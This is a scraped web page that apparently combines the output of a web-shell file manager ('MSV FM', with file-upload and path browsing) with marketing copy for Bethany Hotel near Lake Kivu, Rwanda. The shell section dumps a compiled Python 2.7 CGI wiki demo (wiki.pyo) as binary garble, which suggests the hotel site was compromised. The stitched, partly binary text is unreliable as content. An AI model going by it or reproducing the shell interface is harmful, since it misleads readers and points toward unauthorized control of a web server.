MSV FM

[email protected]: ~ $
Path : /lib64/python2.7/Demo/cgi/
File Upload :
Current < : //lib64/python2.7/Demo/cgi/wiki.pyo

�
��^c@skdZddlZddlZddlZddlZddlZejZd�Zddd��YZdS(s0Wiki main program.  Imported and run by cgi3.py.i����NcCsotj�}dGHH|jdd�}|jdd�}t|�}t|d|d�p^|j}||�dS(NsContent-type: text/htmltcmdtviewtpaget	FrontPagetcmd_(tcgitFieldStoragetgetvaluetWikiPagetgetattrtNonetcmd_view(tformRRtwikitmethod((s%/usr/lib64/python2.7/Demo/cgi/wiki.pytmainsRcBs�eZej�Zejjej	d�Z
d�Zd�Zd�Z
dd�Zd�Zd�Zd�Zd	�Zdd
�Zd�Zd�Zd
�ZRS(icCs2|j|�std�n||_|j�dS(Nspage name is not a wiki word(t
iswikiwordt
ValueErrortnametload(tselfR((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyt__init__s	cCs�dGt|j|j��GdGHdGHx?|jj�D].}|j�}|sTdGHq4|j|�GHq4WdGHdG|jd|jd�dGH|jdd	d
�dGHdS(Ns<h1>s</h1>s<p>s<hr>teditsEdit this paget;RRsgo to front paget.(tescapet
splitwikiwordRtdatat
splitlinestrstript
formatlinetmklink(RRtline((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyRscCs�g}x�tjd|�D]}}|j|�r}tjj|j|��ra|jd||�}q�|jd||d�}nt|�}|j	|�qWdj
|�S(Ns(\W+)Rtnewt*t(tretsplitRtostpathtisfiletmkfileRRtappendtjoin(RR twordstword((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyR(stChangecCsZdG|G|jGdGHd|jGHd}||jGHdGHd|jGHdGHd|GHd	GHdS(
Ns<h1>s</h1>s <form method="POST" action="%s">s7<textarea cols="70" rows="20" name="text">%s</textarea>s/<input type="hidden" name="cmd" value="create">s,<input type="hidden" name="page" value="%s">s<br>s%<input type="submit" value="%s Page">s</form>(Rt	scripturlR(RRtlabelts((s%/usr/lib64/python2.7/Demo/cgi/wiki.pytcmd_edit5s	cCs�|jdd�j�|_|j�}|rIdGHdGHdGt|�GHnJdGHd}||jd|jGHdGHd	GHd
G|jd|j|j�GHdS(NttextR#s%<h1>I'm sorry.  That didn't work</h1>s8<p>An error occurred while attempting to write the file:s<p>s<head>s/<meta http-equiv="refresh" content="1; URL=%s">s?cmd=view&page=s<h1>OK</h1>s)<p>If nothing happens, please click here:R(RtstripRtstoreRR/RR(RRterrorR1((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyt
cmd_create@scCs|j|dd�dS(NR0tCreate(R2(RR((s%/usr/lib64/python2.7/Demo/cgi/wiki.pytcmd_newQscCstjd|�S(Ns[A-Z][a-z]+([A-Z][a-z]*)+(R$tmatch(RR-((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyRTscCsSg}x=|D]5}|r5|j�r5|jd�n|j|�q
Wdj|�S(Nt R#(tisupperR*R+(RR-tcharstc((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyRWs
cCs2|dkr|j}ntjj|j|d�S(Ns.txt(R
RR&R'R+thomedir(RR((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyR)_scCs'|jd|d|}d||fS(Ns?cmd=s&page=s<a href="%s">%s</a>(R/(RRRR3tlink((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyRdscCsYy2t|j��}|j�j�}|j�Wntk
rKd}nX||_dS(NR#(topenR)treadR4tclosetIOErrorR(RtfR((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyRhs

cCs�|j}yZt|j�d�}|j|�|rT|jd�rT|jd�n|j�dSWntk
r�}dt|�SXdS(Ntws
R#sIOError: %s(RRAR)twritetendswithRCRDtstr(RRREterr((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyR5qs	

N(t__name__t
__module__ttempfilet
gettempdirR?R&R'tbasenametsystargvR/RRRR2R7R9RRR
R)RRR5(((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyRs		
	
							((	t__doc__R&R$RRPRMRRR(((s%/usr/lib64/python2.7/Demo/cgi/wiki.pyt<module>s<		
Bethany
Bethany
0%

THE FINEST HOTEL NEAR LAKE KIVU

The Perfect Base For You

Required fields are followed by *





EC1A68011

About Us

Delicious Interior With The Pinch Of Everything

Bethany Investment group is Presbyterian church in Rwanda(EPR) company that manage Hotel and Guest house in Karongi (Bethany Hotel), ISANO branch in GIKONDO(Kigali), Kiyovu branch(Kigali), AMIZERO branch(Nyagatare-East) and Gisenyi Branch(Rubavu).

Accomodation

Get a Comfortable Room
Feel The Comfort

Get a comfortable room and feel our hotel’s comfort. Bethany Hotel features a variety of fully furnished rooms with extra space, Executive rooms, Deluxe rooms with a beautiful lake view and garden space, Deluxe rooms, comfort rooms, family rooms and standard rooms at your service.

Standard Single

Services

We Provide Top Class Facility
Especially For You

Beach BBQ Party

Kick back on the beach& and enjoy our berbecue from our masterchef

Breakfast

Kick back at our hotels& enjoy our breakfast from our masterchef

Conference Hall

Kick back at our hotels& enjoy our conference halls from all bethany branches

Enjoy with your partner

Honeymoon Package

80%

Get In Touch

Don’t Miss Any Update

    +

    Search your Room

    Required fields are followed by *